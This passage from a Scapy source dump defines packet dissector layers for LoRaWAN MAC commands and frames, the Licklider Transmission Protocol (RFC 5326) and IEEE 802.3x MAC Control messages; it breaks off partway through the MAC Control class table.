scapy.contrib.description = LoRa PHY to WAN Layer # scapy.contrib.status = loads """ LoRa PHY to WAN Layer Initially developed @PentHertz and improved at @Trend Micro Spec: lorawantm_specification v1.1 """ from scapy.packet import Packet from scapy.fields import ( BitEnumField, BitField, BitFieldLenField, ByteEnumField, ByteField, ConditionalField, IntField, LEShortField, MayEnd, MultipleTypeField, PacketField, PacketListField, StrField, StrFixedLenField, X3BytesField, XBitField, XByteField, XIntField, XLE3BytesField, XLEIntField, XShortField, ) class FCtrl_DownLink(Packet): name = "FCtrl_DownLink" fields_desc = [BitField("ADR", 0, 1), BitField("ADRACKReq", 0, 1), BitField("ACK", 0, 1), BitField("FPending", 0, 1), BitFieldLenField("FOptsLen", 0, 4)] def extract_padding(self, p): return "", p class FCtrl_Link(Packet): name = "FCtrl_UpLink" fields_desc = [BitField("ADR", 0, 1), BitField("ADRACKReq", 0, 1), BitField("ACK", 0, 1), BitField("UpClassB_DownFPending", 0, 1), BitFieldLenField("FOptsLen", 0, 4)] def extract_padding(self, p): return "", p class FCtrl_UpLink(Packet): name = "FCtrl_UpLink" fields_desc = [BitField("ADR", 0, 1), BitField("ADRACKReq", 0, 1), BitField("ACK", 0, 1), BitField("ClassB", 0, 1), BitFieldLenField("FOptsLen", 0, 4)] def extract_padding(self, p): return "", p class DevAddrElem(Packet): name = "DevAddrElem" fields_desc = [XByteField("NwkID", 0x0), XLE3BytesField("NwkAddr", b"\x00" * 3)] CIDs_up = {0x01: "ResetInd", 0x02: "LinkCheckReq", 0x03: "LinkADRReq", 0x04: "DutyCycleReq", 0x05: "RXParamSetupReq", 0x06: "DevStatusReq", 0x07: "NewChannelReq", 0x08: "RXTimingSetupReq", 0x09: "TxParamSetupReq", # LoRa 1.1 specs 0x0A: "DlChannelReq", 0x0B: "RekeyInd", 0x0C: "ADRParamSetupReq", 0x0D: "DeviceTimeReq", 0x0E: "ForceRejoinReq", 0x0F: "RejoinParamSetupReq"} # end of LoRa 1.1 specs CIDs_down = {0x01: "ResetConf", 0x02: "LinkCheckAns", 0x03: "LinkADRAns", 0x04: "DutyCycleAns", 0x05: "RXParamSetupAns", 0x06: "DevStatusAns", 0x07: "NewChannelAns", 0x08: "RXTimingSetupAns", 0x09: "TxParamSetupAns", # LoRa 1.1 specs here 0x0A: "DlChannelAns", 0x0B: "RekeyConf", 0x0C: "ADRParamSetupAns", 0x0D: "DeviceTimeAns", 0x0F: "RejoinParamSetupAns"} # end of LoRa 1.1 specs class ResetInd(Packet): name = "ResetInd" fields_desc = [ByteField("Dev_version", 0)] class ResetConf(Packet): name = "ResetConf" fields_desc = [ByteField("Serv_version", 0)] class LinkCheckReq(Packet): name = "LinkCheckReq" class LinkCheckAns(Packet): name = "LinkCheckAns" fields_desc = [ByteField("Margin", 0), ByteField("GwCnt", 0)] class DataRate_TXPower(Packet): name = "DataRate_TXPower" fields_desc = [XBitField("DataRate", 0, 4), XBitField("TXPower", 0, 4)] class Redundancy(Packet): name = "Redundancy" fields_desc = [XBitField("RFU", 0, 1), XBitField("ChMaskCntl", 0, 3), XBitField("NbTrans", 0, 4)] class LinkADRReq(Packet): name = "LinkADRReq" fields_desc = [DataRate_TXPower, XShortField("ChMask", 0), Redundancy] class LinkADRAns_Status(Packet): name = "LinkADRAns_Status" fields_desc = [BitField("RFU", 0, 5), BitField("PowerACK", 0, 1), BitField("DataRate", 0, 1), BitField("ChannelMaskACK", 0, 1)] class LinkADRAns(Packet): name = "LinkADRAns" fields_desc = [PacketField("status", LinkADRAns_Status(), LinkADRAns_Status)] class DutyCyclePL(Packet): name = "DutyCyclePL" fields_desc = [BitField("MaxDCycle", 0, 4)] class DutyCycleReq(Packet): name = "DutyCycleReq" fields_desc = [DutyCyclePL] class DutyCycleAns(Packet): name = "DutyCycleAns" fields_desc = [] class DLsettings(Packet): name = "DLsettings" fields_desc = [BitField("OptNeg", 0, 1), XBitField("RX1DRoffset", 0, 3), XBitField("RX2_Data_rate", 0, 4)] class RXParamSetupReq(Packet): name = "RXParamSetupReq" fields_desc = [DLsettings, X3BytesField("Frequency", 0)] class RXParamSetupAns_Status(Packet): name = "RXParamSetupAns_Status" fields_desc = [XBitField("RFU", 0, 5), BitField("RX1DRoffsetACK", 0, 1), BitField("RX2DatarateACK", 0, 1), BitField("ChannelACK", 0, 1)] class RXParamSetupAns(Packet): name = "RXParamSetupAns" fields_desc = [RXParamSetupAns_Status] Battery_state = {0: "End-device connected to external source", 255: "Battery level unknown"} class DevStatusReq(Packet): name = "DevStatusReq" fields_desc = [ByteEnumField("Battery", 0, Battery_state), ByteField("Margin", 0)] class DevStatusAns_Status(Packet): name = "DevStatusAns_Status" fields_desc = [XBitField("RFU", 0, 2), XBitField("Margin", 0, 6)] class DevStatusAns(Packet): name = "DevStatusAns" fields_desc = [DevStatusAns_Status] class DrRange(Packet): name = "DrRange" fields_desc = [XBitField("MaxDR", 0, 4), XBitField("MinDR", 0, 4)] class NewChannelReq(Packet): name = "NewChannelReq" fields_desc = [ByteField("ChIndex", 0), X3BytesField("Freq", 0), DrRange] class NewChannelAns_Status(Packet): name = "NewChannelAns_Status" fields_desc = [XBitField("RFU", 0, 6), BitField("Dataraterangeok", 0, 1), BitField("Channelfrequencyok", 0, 1)] class NewChannelAns(Packet): name = "NewChannelAns" fields_desc = [NewChannelAns_Status] class RXTimingSetupReq_Settings(Packet): name = "RXTimingSetupReq_Settings" fields_desc = [XBitField("RFU", 0, 4), XBitField("Del", 0, 4)] class RXTimingSetupReq(Packet): name = "RXTimingSetupReq" fields_desc = [RXTimingSetupReq_Settings] class RXTimingSetupAns(Packet): name = "RXTimingSetupAns" fields_desc = [] # Specific commands for LoRa 1.1 here MaxEIRPs = {0: "8 dbm", 1: "10 dbm", 2: "12 dbm", 3: "13 dbm", 4: "14 dbm", 5: "16 dbm", 6: "18 dbm", 7: "20 dbm", 8: "21 dbm", 9: "24 dbm", 10: "26 dbm", 11: "27 dbm", 12: "29 dbm", 13: "30 dbm", 14: "33 dbm", 15: "36 dbm"} DwellTimes = {0: "No limit", 1: "400 ms"} class EIRP_DwellTime(Packet): name = "EIRP_DwellTime" fields_desc = [BitField("RFU", 0b0, 2), BitEnumField("DownlinkDwellTime", 0b0, 1, DwellTimes), BitEnumField("UplinkDwellTime", 0b0, 1, DwellTimes), BitEnumField("MaxEIRP", 0b0000, 4, MaxEIRPs)] class TxParamSetupReq(Packet): name = "TxParamSetupReq" fields_desc = [EIRP_DwellTime] class TxParamSetupAns(Packet): name = "TxParamSetupAns" fields_desc = [] class DlChannelReq(Packet): name = "DlChannelReq" fields_desc = [ByteField("ChIndex", 0), X3BytesField("Freq", 0)] class DlChannelAns(Packet): name = "DlChannelAns" fields_desc = [ByteField("Status", 0)] class DevLoraWANversion(Packet): name = "DevLoraWANversion" fields_desc = [BitField("RFU", 0b0000, 4), BitField("Minor", 0b0001, 4)] class RekeyInd(Packet): name = "RekeyInd" fields_desc = [PacketListField("LoRaWANversion", b"", DevLoraWANversion, length_from=lambda pkt:1)] class RekeyConf(Packet): name = "RekeyConf" fields_desc = [ByteField("ServerVersion", 0)] class ADRparam(Packet): name = "ADRparam" fields_desc = [BitField("Limit_exp", 0b0000, 4), BitField("Delay_exp", 0b0000, 4)] class ADRParamSetupReq(Packet): name = "ADRParamSetupReq" fields_desc = [ADRparam] class ADRParamSetupAns(Packet): name = "ADRParamSetupReq" fields_desc = [] class DeviceTimeReq(Packet): name = "DeviceTimeReq" fields_desc = [] class DeviceTimeAns(Packet): name = "DeviceTimeAns" fields_desc = [IntField("SecondsSinceEpoch", 0), ByteField("FracSecond", 0x00)] class ForceRejoinReq(Packet): name = "ForceRejoinReq" fields_desc = [BitField("RFU", 0, 2), BitField("Period", 0, 3), BitField("Max_Retries", 0, 3), BitField("RFU2", 0, 1), BitField("RejoinType", 0, 3), BitField("DR", 0, 4)] class RejoinParamSetupReq(Packet): name = "RejoinParamSetupReq" fields_desc = [BitField("MaxTimeN", 0, 4), BitField("MaxCountN", 0, 4)] class RejoinParamSetupAns(Packet): name = "RejoinParamSetupAns" fields_desc = [BitField("RFU", 0, 7), BitField("TimeOK", 0, 1)] # End of specific 1.1 commands class MACCommand_up(Packet): name = "MACCommand_up" fields_desc = [ByteEnumField("CID", 0, CIDs_up), ConditionalField(PacketListField("Reset", b"", ResetInd, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x01)), ConditionalField(PacketListField("LinkCheck", b"", LinkCheckReq, length_from=lambda pkt:0), lambda pkt:(pkt.CID == 0x02)), ConditionalField(PacketListField("LinkADR", b"", LinkADRReq, length_from=lambda pkt:4), lambda pkt:(pkt.CID == 0x03)), ConditionalField(PacketListField("DutyCycle", b"", DutyCycleReq, length_from=lambda pkt:4), lambda pkt:(pkt.CID == 0x04)), ConditionalField(PacketListField("RXParamSetup", b"", RXParamSetupReq, length_from=lambda pkt:4), lambda pkt:(pkt.CID == 0x05)), ConditionalField(PacketListField("DevStatus", b"", DevStatusReq, length_from=lambda pkt:2), lambda pkt:(pkt.CID == 0x06)), ConditionalField(PacketListField("NewChannel", b"", NewChannelReq, length_from=lambda pkt:5), lambda pkt:(pkt.CID == 0x07)), ConditionalField(PacketListField("RXTimingSetup", b"", RXTimingSetupReq, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x08)), # specific to 1.1 from here ConditionalField(PacketListField("TxParamSetup", b"", TxParamSetupReq, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x09)), ConditionalField(PacketListField("DlChannel", b"", DlChannelReq, length_from=lambda pkt:4), lambda pkt:(pkt.CID == 0x0A)), ConditionalField(PacketListField("Rekey", b"", RekeyInd, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x0B)), ConditionalField(PacketListField("ADRParamSetup", b"", ADRParamSetupReq, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x0C)), ConditionalField(PacketListField("DeviceTime", b"", DeviceTimeReq, length_from=lambda pkt:0), lambda pkt:(pkt.CID == 0x0D)), ConditionalField(PacketListField("ForceRejoin", b"", ForceRejoinReq, length_from=lambda pkt:2), lambda pkt:(pkt.CID == 0x0E)), ConditionalField(PacketListField("RejoinParamSetup", b"", RejoinParamSetupReq, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x0F))] # pylint: disable=R0201 def extract_padding(self, p): return "", p class MACCommand_down(Packet): name = "MACCommand_down" fields_desc = [ByteEnumField("CID", 0, CIDs_up), ConditionalField(PacketListField("Reset", b"", ResetConf, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x01)), ConditionalField(PacketListField("LinkCheck", b"", LinkCheckAns, length_from=lambda pkt:2), lambda pkt:(pkt.CID == 0x02)), ConditionalField(PacketListField("LinkADR", b"", LinkADRAns, length_from=lambda pkt:0), lambda pkt:(pkt.CID == 0x03)), ConditionalField(PacketListField("DutyCycle", b"", DutyCycleAns, length_from=lambda pkt:4), lambda pkt:(pkt.CID == 0x04)), ConditionalField(PacketListField("RXParamSetup", b"", RXParamSetupAns, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x05)), ConditionalField(PacketListField("DevStatusAns", b"", RXParamSetupAns, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x06)), ConditionalField(PacketListField("NewChannel", b"", NewChannelAns, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x07)), ConditionalField(PacketListField("RXTimingSetup", b"", RXTimingSetupAns, length_from=lambda pkt:0), lambda pkt:(pkt.CID == 0x08)), ConditionalField(PacketListField("TxParamSetup", b"", TxParamSetupAns, length_from=lambda pkt:0), lambda pkt:(pkt.CID == 0x09)), ConditionalField(PacketListField("DlChannel", b"", DlChannelAns, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x0A)), ConditionalField(PacketListField("Rekey", b"", RekeyConf, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x0B)), ConditionalField(PacketListField("ADRParamSetup", b"", ADRParamSetupAns, length_from=lambda pkt:0), lambda pkt:(pkt.CID == 0x0C)), ConditionalField(PacketListField("DeviceTime", b"", DeviceTimeAns, length_from=lambda pkt:5), lambda pkt:(pkt.CID == 0x0D)), ConditionalField(PacketListField("RejoinParamSetup", b"", RejoinParamSetupAns, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x0F))] class FOpts(Packet): name = "FOpts" fields_desc = [ConditionalField(PacketListField("FOpts_up", b"", # UL piggy MAC Command MACCommand_up, length_from=lambda pkt:pkt.FCtrl[0].FOptsLen), # noqa: E501 lambda pkt:(pkt.FCtrl[0].FOptsLen > 0 and pkt.MType & 0b1 == 0 and pkt.MType >= 0b010)), ConditionalField(PacketListField("FOpts_down", b"", # DL piggy MAC Command MACCommand_down, length_from=lambda pkt:pkt.FCtrl[0].FOptsLen), # noqa: E501 lambda pkt:(pkt.FCtrl[0].FOptsLen > 0 and pkt.MType & 0b1 == 1 and pkt.MType <= 0b101))] def FOptsDownShow(pkt): try: if pkt.FCtrl[0].FOptsLen > 0 and pkt.MType & 0b1 == 1 and pkt.MType <= 0b101 and (pkt.MType & 0b101 > 0): # noqa: E501 return True return False except Exception: return False def FOptsUpShow(pkt): try: if pkt.FCtrl[0].FOptsLen > 0 and pkt.MType & 0b1 == 0 and pkt.MType >= 0b010 and (pkt.MType & 0b110 > 0): # noqa: E501 return True return False except Exception: return False class FHDR(Packet): name = "FHDR" fields_desc = [ConditionalField(PacketListField("DevAddr", b"", DevAddrElem, # noqa: E501 length_from=lambda pkt:4), lambda pkt:(pkt.MType >= 0b010 and pkt.MType <= 0b101)), ConditionalField(PacketListField("FCtrl", b"", FCtrl_Link, length_from=lambda pkt:1), lambda pkt:((pkt.MType & 0b1 == 1 and pkt.MType <= 0b101 and (pkt.MType & 0b10 > 0)) or (pkt.MType & 0b1 == 0 and pkt.MType >= 0b010))), ConditionalField(LEShortField("FCnt", 0), lambda pkt:(pkt.MType >= 0b010 and pkt.MType <= 0b101)), ConditionalField(PacketListField("FOpts_up", b"", MACCommand_up, length_from=lambda pkt:pkt.FCtrl[0].FOptsLen), # noqa: E501 FOptsUpShow), ConditionalField(PacketListField("FOpts_down", b"", MACCommand_down, length_from=lambda pkt:pkt.FCtrl[0].FOptsLen), # noqa: E501 FOptsDownShow)] FPorts = {0: "NwkSKey"} # anything else is AppSKey JoinReqTypes = {0xFF: "Join-request", 0x00: "Rejoin-request type 0", 0x01: "Rejoin-request type 1", 0x02: "Rejoin-request type 2"} class Join_Request(Packet): name = "Join_Request" fields_desc = [StrFixedLenField("AppEUI", b"\x00" * 8, 8), StrFixedLenField("DevEUI", b"\00" * 8, 8), LEShortField("DevNonce", 0x0000)] class Join_Accept(Packet): name = "Join_Accept" dcflist = False fields_desc = [XLE3BytesField("JoinAppNonce", 0), XLE3BytesField("NetID", 0), XLEIntField("DevAddr", 0), DLsettings, XByteField("RxDelay", 0), ConditionalField(StrFixedLenField("CFList", b"\x00" * 16, 16), # noqa: E501 lambda pkt:(Join_Accept.dcflist is True))] def extract_padding(self, p): return "", p def __init__(self, packet=""): # CFList calculated with rest of packet len if len(packet) > 18: Join_Accept.dcflist = True super(Join_Accept, self).__init__(packet) RejoinType = {0: "NetID+DevEUI", 1: "JoinEUI+DevEUI", 2: "NetID+DevEUI"} class RejoinReq(Packet): # LoRa 1.1 specs name = "RejoinReq" fields_desc = [ByteField("Type", 0), X3BytesField("NetID", 0), StrFixedLenField("DevEUI", b"\x00" * 8), XShortField("RJcount0", 0)] def dpload_type(pkt): if (pkt.MType == 0b101 or pkt.MType == 0b011): return 0 # downlink elif (pkt.MType == 0b100 or pkt.MType == 0b010): return 1 # uplink return None datapayload_list = [(StrField("DataPayload", "", remain=4), lambda pkt:(dpload_type(pkt) == 0)), (StrField("DataPayload", "", remain=6), lambda pkt:(dpload_type(pkt) == 1))] class FRMPayload(Packet): name = "FRMPayload" fields_desc = [ConditionalField(MultipleTypeField(datapayload_list, StrField("DataPayload", "", remain=4)), lambda pkt:(dpload_type(pkt) is not None)), ConditionalField(PacketListField("Join_Request_Field", b"", Join_Request, length_from=lambda pkt:18), lambda pkt:(pkt.MType == 0b000)), ConditionalField(PacketListField("Join_Accept_Field", b"", Join_Accept, count_from=lambda pkt:1), lambda pkt:(pkt.MType == 0b001 and LoRa.encrypted is False)), ConditionalField(StrField("Join_Accept_Encrypted", 0), lambda pkt:(pkt.MType == 0b001 and LoRa.encrypted is True)), # noqa: E501 ConditionalField(PacketListField("ReJoin_Request_Field", b"", # noqa: E501 RejoinReq, length_from=lambda pkt:14), lambda pkt:(pkt.MType == 0b111))] class MACPayload(Packet): name = "MACPayload" eFPort = False fields_desc = [FHDR, ConditionalField(ByteEnumField("FPort", 0, FPorts), lambda pkt:(pkt.MType >= 0b010 and pkt.MType <= 0b101 and pkt.FCtrl[0].FOptsLen == 0)), FRMPayload] MTypes = {0b000: "Join-request", 0b001: "Join-accept", 0b010: "Unconfirmed Data Up", 0b011: "Unconfirmed Data Down", 0b100: "Confirmed Data Up", 0b101: "Confirmed Data Down", 0b110: "Rejoin-request", # Only in LoRa 1.1 specs 0b111: "Proprietary"} class MHDR(Packet): # Same for 1.0 as for 1.1 name = "MHDR" fields_desc = [BitEnumField("MType", 0b000, 3, MTypes), BitField("RFU", 0b000, 3), BitField("Major", 0b00, 2)] class PHYPayload(Packet): name = "PHYPayload" fields_desc = [MHDR, MACPayload, MayEnd(ConditionalField(XIntField("MIC", 0), lambda pkt: (pkt.MType != 0b001 or LoRa.encrypted is False)))] class LoRa(Packet): # default frame (unclear specs => taken from https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5677147/) # noqa: E501 name = "LoRa" version = "1.1" # default version to parse encrypted = True fields_desc = [XBitField("Preamble", 0, 4), XBitField("PHDR", 0, 16), XBitField("PHDR_CRC", 0, 4), PHYPayload, ConditionalField(XShortField("CRC", 0), lambda pkt:(pkt.MType & 0b1 == 0))] ================================================ FILE: scapy/contrib/ltp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright 2012 (C) The MITRE Corporation """ .. centered:: NOTICE This software/technical data was produced for the U.S. Government under Prime Contract No. NASA-03001 and JPL Contract No. 1295026 and is subject to FAR 52.227-14 (6/87) Rights in Data General, and Article GP-51, Rights in Data General, respectively. This software is publicly released under MITRE case #12-3054 """ # scapy.contrib.description = Licklider Transmission Protocol (LTP) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers, bind_top_down from scapy.fields import BitEnumField, BitField, BitFieldLenField, \ ByteEnumField, ConditionalField, PacketListField, StrLenField from scapy.layers.inet import UDP from scapy.config import conf from scapy.contrib.sdnv import SDNV2, SDNV2FieldLenField # LTP https://tools.ietf.org/html/rfc5326 _ltp_flag_vals = { 0: '0x0 Red data, NOT (Checkpoint, EORP or EOB)', 1: '0x1 Red data, Checkpoint, NOT (EORP or EOB)', 2: '0x2 Red data, Checkpoint, EORP, NOT EOB', 3: '0x3 Red data, Checkpoint, EORP, EOB', 4: '0x4 Green data, NOT EOB', 5: '0x5 Green data, undefined', 6: '0x6 Green data, undefined', 7: '0x7 Green data, EOB', 8: '0x8 Report segment', 9: '0x9 Report-acknowledgment segmen', 10: '0xA Control segment, undefined', 11: '0xB Control segment, undefined', 12: '0xC Cancel segment from block sender', 13: '0xD Cancel-acknowledgment segment to block sender', 14: '0xE Cancel segment from block receiver', 15: '0xF Cancel-acknowledgment segment to block receiver'} _ltp_cancel_reasons = { 0: 'USR_CNCLD - Client service canceled session.', 1: 'UNREACH - Unreachable client service.', 2: 'RLEXC - Retransmission limit exceeded.', 3: 'MISCOLORED - Received miscolored segment.', 4: 'SYS_CNCLD - System error condition.', 5: 'RXMTCYCEXC - Exceeded the retransmission cycles limit.', 6: 'RESERVED'} # Reserved 0x06-0xFF # LTP Extensions https://tools.ietf.org/html/rfc5327 _ltp_extension_tag = { 0: 'LTP authentication extension', 1: 'LTP cookie extension' } _ltp_data_segment = [0, 1, 2, 3, 4, 5, 6, 7] _ltp_checkpoint_segment = [1, 2, 3] _ltp_payload_conditions = {} def ltp_bind_payload(cls, lambd): """Bind payload class to the LTP packets. :param cls: the class to bind :param lambd: lambda that will be called to check whether or not the cls should be used ex: lambda pkt: ... """ _ltp_payload_conditions[cls] = lambd class LTPex(Packet): name = "LTP Extension" fields_desc = [ ByteEnumField("ExTag", 0, _ltp_extension_tag), SDNV2FieldLenField("ExLength", None, length_of="ExData"), # SDNV2FieldLenField StrLenField("ExData", "", length_from=lambda x: x.ExLength) ] def default_payload_class(self, pay): return conf.padding_layer class LTPReceptionClaim(Packet): name = "LTP Reception Claim" fields_desc = [SDNV2("ReceptionClaimOffset", 0), SDNV2("ReceptionClaimLength", 0)] def default_payload_class(self, pay): return conf.padding_layer def _ltp_guess_payload(pkt, *args): for k, v in _ltp_payload_conditions.items(): if v(pkt): return k return conf.raw_layer class LTP(Packet): name = "LTP" fields_desc = [ BitField('version', 0, 4), BitEnumField('flags', 0, 4, _ltp_flag_vals), SDNV2("SessionOriginator", 0), SDNV2("SessionNumber", 0), BitFieldLenField("HeaderExtensionCount", None, 4, count_of="HeaderExtensions"), # noqa: E501 BitFieldLenField("TrailerExtensionCount", None, 4, count_of="TrailerExtensions"), # noqa: E501 PacketListField("HeaderExtensions", [], LTPex, count_from=lambda x: x.HeaderExtensionCount), # noqa: E501 # # LTP segments containing data have a DATA header # ConditionalField(SDNV2("DATA_ClientServiceID", 0), lambda x: x.flags in _ltp_data_segment), ConditionalField(SDNV2("DATA_PayloadOffset", 0), lambda x: x.flags in _ltp_data_segment), ConditionalField(SDNV2FieldLenField("DATA_PayloadLength", None, length_of="LTP_Payload"), # noqa: E501 lambda x: x.flags in _ltp_data_segment), # # LTP segments that are checkpoints will have a checkpoint serial number and report serial number. # noqa: E501 # ConditionalField(SDNV2("CheckpointSerialNo", 0), lambda x: x.flags in _ltp_checkpoint_segment), # # For segments that are checkpoints or reception reports. # ConditionalField(SDNV2("ReportSerialNo", 0), lambda x: x.flags in _ltp_checkpoint_segment \ or x.flags == 8), # # Then comes the actual payload for data carrying segments. # ConditionalField(PacketListField("LTP_Payload", None, next_cls_cb=_ltp_guess_payload, # noqa: E501 length_from=lambda x: x.DATA_PayloadLength), # noqa: E501 lambda x: x.flags in _ltp_data_segment), # # Report ACKS acknowledge a particular report serial number. # ConditionalField(SDNV2("RA_ReportSerialNo", 0), lambda x: x.flags == 9), # # Reception reports have the following fields, # excluding ReportSerialNo defined above. # ConditionalField(SDNV2("ReportCheckpointSerialNo", 0), lambda x: x.flags == 8), ConditionalField(SDNV2("ReportUpperBound", 0), lambda x: x.flags == 8), ConditionalField(SDNV2("ReportLowerBound", 0), lambda x: x.flags == 8), ConditionalField(SDNV2FieldLenField("ReportReceptionClaimCount", None, count_of="ReportReceptionClaims"), # noqa: E501 lambda x: x.flags == 8), ConditionalField(PacketListField("ReportReceptionClaims", [], LTPReceptionClaim, # noqa: E501 count_from=lambda x: x.ReportReceptionClaimCount), # noqa: E501 lambda x: x.flags == 8 and (not x.ReportReceptionClaimCount or x.ReportReceptionClaimCount > 0)), # noqa: E501 # # Cancellation Requests # ConditionalField(ByteEnumField("CancelFromSenderReason", 15, _ltp_cancel_reasons), lambda x: x.flags == 12), ConditionalField(ByteEnumField("CancelFromReceiverReason", 15, _ltp_cancel_reasons), lambda x: x.flags == 14), # # Finally, trailing extensions # PacketListField("TrailerExtensions", [], LTPex, count_from=lambda x: x.TrailerExtensionCount) # noqa: E501 ] def mysummary(self): return self.sprintf("LTP %SessionNumber%"), [UDP] bind_top_down(UDP, LTP, sport=1113) bind_top_down(UDP, LTP, dport=1113) bind_top_down(UDP, LTP, sport=2113) bind_top_down(UDP, LTP, dport=2113) bind_layers(UDP, LTP, sport=1113, dport=1113) ================================================ FILE: scapy/contrib/mac_control.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = MACControl # scapy.contrib.status = loads """ MACControl ~~~~~~~~~~ :author: Thomas Tannhaeuser, hecke@naberius.de :description: This module provides Scapy layers for the MACControl protocol messages: - Pause - Gate - Report - Register/REQ/ACK - Class Based Flow Control normative references: - IEEE 802.3x :NOTES: - this is based on the MACControl dissector used by Wireshark (https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-maccontrol.c) """ from scapy.compat import orb from scapy.data import ETHER_TYPES from scapy.error import Scapy_Exception from scapy.fields import IntField, ByteField, ByteEnumField, ShortField, BitField # noqa: E501 from scapy.layers.dot11 import Packet from scapy.layers.l2 import Ether, Dot1Q, bind_layers MAC_CONTROL_ETHER_TYPE = 0x8808 ETHER_TYPES[MAC_CONTROL_ETHER_TYPE] = 'MAC_CONTROL' ETHER_SPEED_MBIT_10 = 0x01 ETHER_SPEED_MBIT_100 = 0x02 ETHER_SPEED_MBIT_1000 = 0x04 class MACControl(Packet): DEFAULT_DST_MAC = "01:80:c2:00:00:01" OP_CODE_PAUSE = 0x0001 OP_CODE_GATE = 0x0002 OP_CODE_REPORT = 0x0003 OP_CODE_REGISTER_REQ = 0x0004 OP_CODE_REGISTER = 0x0005 OP_CODE_REGISTER_ACK = 0x0006 OP_CODE_CLASS_BASED_FLOW_CONTROL = 0x0101 OP_CODES = { OP_CODE_PAUSE: 'pause', OP_CODE_GATE: 'gate', OP_CODE_REPORT: 'report', OP_CODE_REGISTER_REQ: 'register req', OP_CODE_REGISTER: 'register', OP_CODE_REGISTER_ACK: 'register_ack', OP_CODE_CLASS_BASED_FLOW_CONTROL: 'class based flow control' } ''' flags used by Register* messages ''' FLAG_REGISTER = 0x01 FLAG_DEREGISTER = 0x02 FLAG_ACK = 0x03 FLAG_NACK = 0x04 REGISTER_FLAGS = { FLAG_REGISTER: 'register', FLAG_DEREGISTER: 'deregister', FLAG_ACK: 'ack', FLAG_NACK: 'nack' } def guess_payload_class(self, payload): try: op_code = (orb(payload[0]) << 8) + orb(payload[1]) return MAC_CTRL_CLASSES[op_code] except KeyError: pass return Packet.guess_payload_class(self, payload) def _get_underlayers_size(self): """ get the total size of all under layers :return: number of bytes """ under_layer = self.underlayer under_layers_size = 0 while under_layer and isinstance(under_layer, Dot1Q): under_layers_size += 4 under_layer = under_layer.underlayer if under_layer and isinstance(under_layer, Ether): # ether header len + FCS len under_layers_size += 14 + 4 return under_layers_size def post_build(self, pkt, pay): """ add padding to the frame if required. note that padding is only added if pay is None/empty. this allows us to add # noqa: E501 any payload after the MACControl* PDU if needed (piggybacking). """ if not pay: under_layers_size = self._get_underlayers_size() frame_size = (len(pkt) + under_layers_size) if frame_size < 64: return pkt + b'\x00' * (64 - frame_size) return pkt + pay class MACControlInvalidSpeedException(Scapy_Exception): pass class MACControlPause(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_PAUSE), ShortField("pause_time", 0), ] def get_pause_time(self, speed=ETHER_SPEED_MBIT_1000): """ get pause time for given link speed in seconds :param speed: select link speed to get the pause time for, must be ETHER_SPEED_MBIT_[10,100,1000] # noqa: E501 :return: pause time in seconds :raises MACControlInvalidSpeedException: on invalid speed selector """ try: return self.pause_time * { ETHER_SPEED_MBIT_10: (0.0000001 * 512), ETHER_SPEED_MBIT_100: (0.00000001 * 512), ETHER_SPEED_MBIT_1000: (0.000000001 * 512 * 2) }[speed] except KeyError: raise MACControlInvalidSpeedException('Invalid speed selector given. ' # noqa: E501 'Must be one of ETHER_SPEED_MBIT_[10,100,1000]') # noqa: E501 class MACControlGate(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_GATE), IntField("timestamp", 0) ] class MACControlReport(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_REPORT), IntField("timestamp", 0), ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS), ByteField('pending_grants', 0) ] class MACControlRegisterReq(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_REGISTER_REQ), IntField("timestamp", 0), ShortField('assigned_port', 0), ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS), ShortField('sync_time', 0), ByteField('echoed_pending_grants', 0) ] class MACControlRegister(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_REGISTER), IntField("timestamp", 0), ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS), ShortField('echoed_assigned_port', 0), ShortField('echoed_sync_time', 0) ] class MACControlRegisterAck(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_REGISTER_ACK), IntField("timestamp", 0), ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS), ShortField('echoed_assigned_port', 0), ShortField('echoed_sync_time', 0) ] class MACControlClassBasedFlowControl(MACControl): fields_desc = [ ShortField("_op_code", MACControl.OP_CODE_CLASS_BASED_FLOW_CONTROL), ByteField("_reserved", 0), BitField('c7_enabled', 0, 1), BitField('c6_enabled', 0, 1), BitField('c5_enabled', 0, 1), BitField('c4_enabled', 0, 1), BitField('c3_enabled', 0, 1), BitField('c2_enabled', 0, 1), BitField('c1_enabled', 0, 1), BitField('c0_enabled', 0, 1), ShortField('c0_pause_time', 0), ShortField('c1_pause_time', 0), ShortField('c2_pause_time', 0), ShortField('c3_pause_time', 0), ShortField('c4_pause_time', 0), ShortField('c5_pause_time', 0), ShortField('c6_pause_time', 0), ShortField('c7_pause_time', 0) ] MAC_CTRL_CLASSES = { MACControl.OP_CODE_PAUSE: MACControlPause, MACControl.OP_CODE_GATE: MACControlGate, MACControl.OP_CODE_REPORT: MACControlReport, MACControl.OP_CODE_REGISTER_REQ: MACControlRegisterReq, MACControl.OP_CODE_REGISTER: MACControlRegister, MACControl.OP_CODE_REGISTER_ACK: MACControlRegisterAck, 